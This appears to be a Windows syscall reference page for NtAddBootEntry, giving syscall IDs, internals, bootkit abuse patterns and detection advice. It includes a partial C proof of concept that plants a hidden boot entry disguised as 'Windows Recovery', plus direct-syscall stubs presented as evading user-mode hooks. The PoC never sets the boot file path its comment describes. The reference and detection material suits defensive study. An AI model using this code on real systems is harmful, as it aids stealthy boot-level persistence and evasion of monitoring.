NtAddBootEntry
Registers a new BOOT_ENTRY in the Boot Configuration Database (BCD) and returns its assigned ID.
Prototype
NTSTATUS NtAddBootEntry( PBOOT_ENTRY BootEntry, PULONG Id );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| BootEntry | PBOOT_ENTRY | in | Pointer to a BOOT_ENTRY structure describing the firmware boot option to register (FriendlyName, BootFilePath, OsOptions blob). |
| Id | PULONG | out | Receives the BCD-assigned identifier for the newly added boot entry. Stored as an EFI Boot#### variable on UEFI systems. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0x68 | win10-1507 |
| Win10 1607 | 0x68 | win10-1607 |
| Win10 1703 | 0x69 | win10-1703 |
| Win10 1709 | 0x69 | win10-1709 |
| Win10 1803 | 0x69 | win10-1803 |
| Win10 1809 | 0x69 | win10-1809 |
| Win10 1903 | 0x69 | win10-1903 |
| Win10 1909 | 0x69 | win10-1909 |
| Win10 2004 | 0x6A | win10-2004 |
| Win10 20H2 | 0x6A | win10-20h2 |
| Win10 21H1 | 0x6A | win10-21h1 |
| Win10 21H2 | 0x6A | win10-21h2 |
| Win10 22H2 | 0x6A | win10-22h2 |
| Win11 21H2 | 0x6A | win11-21h2 |
| Win11 22H2 | 0x6A | win11-22h2 |
| Win11 23H2 | 0x6A | win11-23h2 |
| Win11 24H2 | 0x6A | win11-24h2 |
| Server 2016 | 0x68 | winserver-2016 |
| Server 2019 | 0x69 | winserver-2019 |
| Server 2022 | 0x6A | winserver-2022 |
| Server 2025 | 0x6A | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 6A 00 00 00 mov eax, 0x6A F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
NtAddBootEntry is the kernel-mode workhorse behind `bcdedit /create` and `BcdAddBootEntry` (bcd.dll). On legacy BIOS systems it edits the BCD hive `\Device\HarddiskVolume1\Boot\BCD`; on UEFI systems it materializes an EFI `Boot####` variable through `HalSetEnvironmentVariableEx`. Both code paths require **SeSystemEnvironmentPrivilege**, which is held only by elevated administrators. The BOOT_ENTRY structure embeds a variable-length `OsOptionsLength` blob whose first DWORD is a signature — `WINDOWS_OS_OPTIONS_SIGNATURE` ("WINDOWS") for OS loader entries — directly mirrored to NVRAM on UEFI.
Common malware usage
Bootkits use NtAddBootEntry (or the equivalent `BcdAddBootEntry`/raw NVRAM writes) to install a rogue boot path that loads attacker code **before the Windows kernel and therefore before any kernel-mode telemetry, PatchGuard or DSE checks come online**. The classic pattern is: drop a signed-but-vulnerable bootloader (or an unsigned one on Secure Boot-disabled targets), register it via NtAddBootEntry, then NtSetBootEntryOrder to put it first. BlackLotus (2022) chained CVE-2022-21894 "Baton Drop" against a vulnerable bootmgfw to bypass Secure Boot and persisted through exactly this primitive. ESPecter and CosmicStrand achieve the same goal at the firmware/EFI level.
Detection opportunities
ETW provider **Microsoft-Windows-Kernel-Boot** ({02012a3b-d8c4-4d4e-b9c2-1edc4f8c4a30}) emits events when the BCD is mutated. Registry monitoring of `HKLM\BCD00000000` (mounted from the EFI system partition) catches in-OS modifications; Sysmon Event ID 13 with a BCD path filter is the simplest deployment. On UEFI, also watch `HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State` and audit `SetFirmwareEnvironmentVariable*` calls via Event ID 4673 (privilege use, SeSystemEnvironmentPrivilege). Defensive baselining via a scheduled `bcdedit /enum FIRMWARE` hash comparison catches stealthy additions. Secure Boot with an up-to-date **DBX** revocation list neutralizes BlackLotus-class bootmgr abuse.
Direct syscall examples
asmx64 direct stub (Win11 24H2, SSN 0x6A)
; Direct syscall stub for NtAddBootEntry
; Requires SeSystemEnvironmentPrivilege; on UEFI also writes to NVRAM.
NtAddBootEntry PROC
mov r10, rcx ; PBOOT_ENTRY
mov eax, 6Ah ; SSN, Win11 24H2
syscall
ret
NtAddBootEntry ENDPcRegister a rogue OS loader entry (PoC, requires SeSystemEnvironmentPrivilege + bypassed Secure Boot)
// PoC only: registers a BOOT_ENTRY that loads \EFI\evil\bootx64.efi.
// Practical exploitation against modern Windows still needs a Secure Boot bypass
// (e.g. a DBX-unrevoked vulnerable shim/bootmgr).
#include <windows.h>
#include <winnt.h>
typedef struct _FILE_PATH {
ULONG Version;
ULONG Length;
ULONG Type;
UCHAR FilePath[1];
} FILE_PATH, *PFILE_PATH;
typedef struct _BOOT_ENTRY {
ULONG Version;
ULONG Length;
ULONG Id;
ULONG Attributes;
ULONG FriendlyNameOffset;
ULONG BootFilePathOffset;
ULONG OsOptionsLength;
UCHAR OsOptions[1];
} BOOT_ENTRY, *PBOOT_ENTRY;
extern NTSTATUS NTAPI NtAddBootEntry(PBOOT_ENTRY, PULONG);
int plant_rogue(void) {
// Enable SeSystemEnvironmentPrivilege first (omitted for brevity).
BYTE buf[512] = {0};
PBOOT_ENTRY be = (PBOOT_ENTRY)buf;
be->Version = 1;
be->Length = sizeof(buf);
be->Attributes = 0; // no BOOT_ENTRY_ATTRIBUTE_ACTIVE -> stealthier first stage
be->FriendlyNameOffset = FIELD_OFFSET(BOOT_ENTRY, OsOptions);
wcscpy_s((wchar_t*)(buf + be->FriendlyNameOffset), 32, L"Windows Recovery");
ULONG id = 0;
return NtAddBootEntry(be, &id);
}rustwindows-sys + naked direct syscall
// Cargo: windows-sys = "0.59"
// Bypasses the bcd.dll wrapper to dodge user-mode hooks; kernel ETW still fires.
use std::arch::asm;
#[unsafe(naked)]
unsafe extern "system" fn nt_add_boot_entry(_entry: *mut u8, _id: *mut u32) -> i32 {
asm!(
"mov r10, rcx",
"mov eax, 0x6A", // Win11 24H2 SSN
"syscall",
"ret",
options(noreturn),
);
}MITRE ATT&CK mappings
Last verified: 2026-05-20